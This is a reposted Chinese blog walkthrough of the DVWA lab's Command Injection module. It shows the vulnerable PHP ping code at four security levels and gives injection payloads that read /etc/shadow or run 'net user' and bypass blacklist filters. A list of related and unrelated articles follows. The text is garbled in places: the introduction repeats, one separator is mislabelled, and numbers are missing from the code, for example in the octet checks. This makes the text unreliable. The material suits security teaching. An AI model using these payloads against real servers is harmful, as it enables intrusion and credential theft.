Command Injection 介绍

命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。

判断命令注入流程

是否调用系统命令
函数或函数的参数是否可控
是否拼接注入命令

命令连接符

command1 && command2 

&&表示先执行command1,执行成功后执行command 2,否则不执行command 2

command1 & command2

$表示先执行command 1,不管是否成功,都会执行command 2

command1 || command2

||表示先执行command1,执行失败后,执行command2

command1 | command2

|表示将command 1的输出作为command 2的输入,只打印command 2执行的结果。

以上连接符在windows和linux环境下都支持。

下面对四种级别的代码进行分析。

Low Security Level

DVWA Command Injection 通关教程
Web安全 / -- / 条评论 / , views Command Injection 介绍
命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。 判断命令注入流程
是否调用系统命令
函数或函数的参数是否可控
是否拼接注入命令
命令连接符
command1 && command2
&&表示先执行command1,执行成功后执行command ,否则不执行command command1 & command2
$表示先执行command ,不管是否成功,都会执行command command1 || command2
||表示先执行command1,执行失败后,执行command2 command1 | command2
|表示将command 1的输出作为command 2的输入,只打印command 2执行的结果。 以上连接符在windows和linux环境下都支持。 下面对四种级别的代码进行分析。 Low Security Level
<?php if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

stristr()函数

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回false。详细如下:

string    必需。规定被搜索的字符串。
search 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。
before_search 可选。默认值为 "false" 的布尔值。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。
返回值:返回字符串的剩余部分(从匹配点)。如果未找到所搜索的字符串,则返回 FALSE。 PHP 版本:+ 更新日志:
在 PHP 5.3 中,新增了 before_search 参数。
在 PHP 4.3 中,该函数变成是二进制安全的。

php_uname()函数

string php_uname ([ string $mode = "a" ] )

php_uname()函数会返回运行 php 的操作系统的相关描述。mode是单个字符,用于定义要返回什么信息:

‘a’:此为默认。包含序列s ,n,r,v,m 里的所有模式。

例如我的:

Windows NT WINDOWS-STORY 6.1 build  (Windows  Ultimate Edition Service Pack ) i586

s:操作系统名称。例如:Windows NT
n:主机名。例如:WINDOWS-STORY
r:版本名称。例如:6.1
v:版本信息。例如:build (Windows Ultimate Edition Service Pack )
m:机器类型。例如:i586。

Exploit

Windows:

127.0.0.1&&net user

127.0.0.1&net user

127.0.0.1|net user

Linux:

127.0.0.1&&cat /etc/shadow

127.0.0.1&cat /etc/shadow

127.0.0.1|cat /etc/shadow

Medium Security Level

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; // Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

可以看到,相比Low Security Level的代码,服务器端对ip参数做了过滤,即把&&、;删除,本质上采用的是黑名单机制,但依旧存在安全问题。

Exploit

1、因为被过滤的只有&&与;,所以&与|不受影响:

Windows:

127.0.0.1&net user

127.0.0.1|net user

Linux:

127.0.0.1&cat /etc/shadow

127.0.0.1|cat /etc/shadow

2、由于使用的是str_replace把&&、;替换为空字符,因此可以采用以下方式绕过:

127.0.0.1&;&net user

这是因为127.0.0.1&;&net user中的;会被替换为空字符,变成了127.0.0.1& &net user 从而成功执行。

High Security Level

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]); // Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
); // Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
} ?>

相比Medium Security Level的代码,进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

Exploit

黑名单看似过滤了所有的非法字符,但仔细观察到这里:

'| ' => '',

是把|(注意这里|后有一个空格)替换为空字符,于是可以使用|进行利用:

command  | command 

Windows:

127.0.0.1|net user

Linux:

127.0.0.1|cat /etc/shadow

Impossible Security Level

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target ); // Split the IP into 4 octects
$octet = explode( ".", $target ); // Check IF each octet is an integer
if( ( is_numeric( $octet[] ) ) && ( is_numeric( $octet[] ) ) && ( is_numeric( $octet[] ) ) && ( is_numeric( $octet[] ) ) && ( sizeof( $octet ) == ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[] . '.' . $octet[] . '.' . $octet[] . '.' . $octet[]; // Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
} // Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

相关函数介绍:

stripslashes(string)

stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

explode(separator,string,limit)

把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

is_numeric(string)

检测string是否为数字或数字字符串,如果是返回true,否则返回false。

可以看到,Impossible Security Level的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如”数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

转载自:AnCoLin's Blog|影风博客DVWA Command Injection 通关教程

DVWA Command Injection 通关教程的更多相关文章

  1. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

  2. DVWA File Upload 通关教程

    File Upload,即文件上传.文件上传漏洞通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁 ...

  3. DVWA XSS (Reflected) 通关教程

    XSS 介绍XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需 ...

  4. DVWA XSS (Stored) 通关教程

    Stored Cross Site Scripting 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户 ...

  5. DVWA File Inclusion 通关教程

    File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...

  6. DVWA Command Injection 解析

    命令注入,即 Command Injection.是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的. 在Web应用中,有时候会用到一些命令执行的函数,如php中system.ex ...

  7. DVWA XSS (DOM) 通关教程

    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...

  8. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

  9. DVWA靶场之Command Injection(命令行注入)通关

    Command Injection Low: <?php if( isset( $_POST[ 'Submit' ]  ) ) { // Get input $target = $_REQUES ...

随机推荐

  1. SourceTree 版本跳过bitbucket注册方法

    1.安装sourcetree时 需要选择 bitbucket账号,这个令人头疼 当然肯定有办法来跳过这一步 2.关闭当前安装界面 进入   C:\Users\Administrator\AppData ...

  2. V2Ray+WebSocket+TLS+Nginx 配置及使用

    v2ray 是一个模块化的代理工具,支持 VMess,Socks,HTTP,Shadowsocks 等等协议,并且附带很多高级功能,HTTP,TLS 等等. 关键词限制,全文 v2ray 中的 y 为 ...

  3. 【05】Nginx:TCP / 正向 / 反向代理 / 负载均衡

    写在前面的话 在我们日常的工作中,不可能所有的服务都是简单的 HTML 静态网页,nginx 作为轻量级的 WEB 服务器,其实我们将它用于更多的地方还是作为我们网站的入口.不管你是后端接口,还是前端 ...

  4. Maven配置教程详解

    Maven的安装与配置 一.在https://www.cnblogs.com/zyx110/p/10799387.html中下载以下maven安装包 解压缩即可 根据你的安装路径配置maven环境变量 ...

  5. centos systemd占用大量内存

    不知道为什么,我用vmware做测试用,而且是mini版本,没装什么应用,就是php开发环境,lnmp. 在开发时,内存和swap都爆满,composer包无法安装. 网上搜到解决方法: system ...

  6. HTTPS免费证书

    HTTPS 证书 一: 利用 cerbot 本地服务器 申请免费可用的证书.缺点就是三个月需要手动换一次 官网: https://certbot.eff.org/lets-encrypt/ubuntu ...

  7. Python基础24

    import 与 from import 知乎上说的简洁明了,zhihu.com/question/38857862 from import, 导入之后就能拿来用了,直接用!到处用!

  8. 十一:外观模式详解(Service,action与dao)

    定义:外观模式是软件工程中常用的一种软件设计模式.它为子系统中的一组接口提供一个统一的高层接口.这一接口使得子系统更加容易使用. 该定义引自百度百科,它的表现很简单,将一系列子接口的功能进行整理,从而 ...

  9. CSS 选择器大全

    在CSS中,选择器是用于选择要设置样式的元素的模式. 选择器 例子 描述 .class .intro 选择class=“intro”的所有元素 #id #firstname 选择id=“firstna ...

  10. 【转载】Visual Studio中WinForm窗体程序如何切换.NET Framework版本

    在C#语言的WinForm窗体程序中,有时候我们需要切换WinForm窗体程序项目的.NET Framework版本号,例如从.NET Framework 4.5版本切换到.NET Framework ...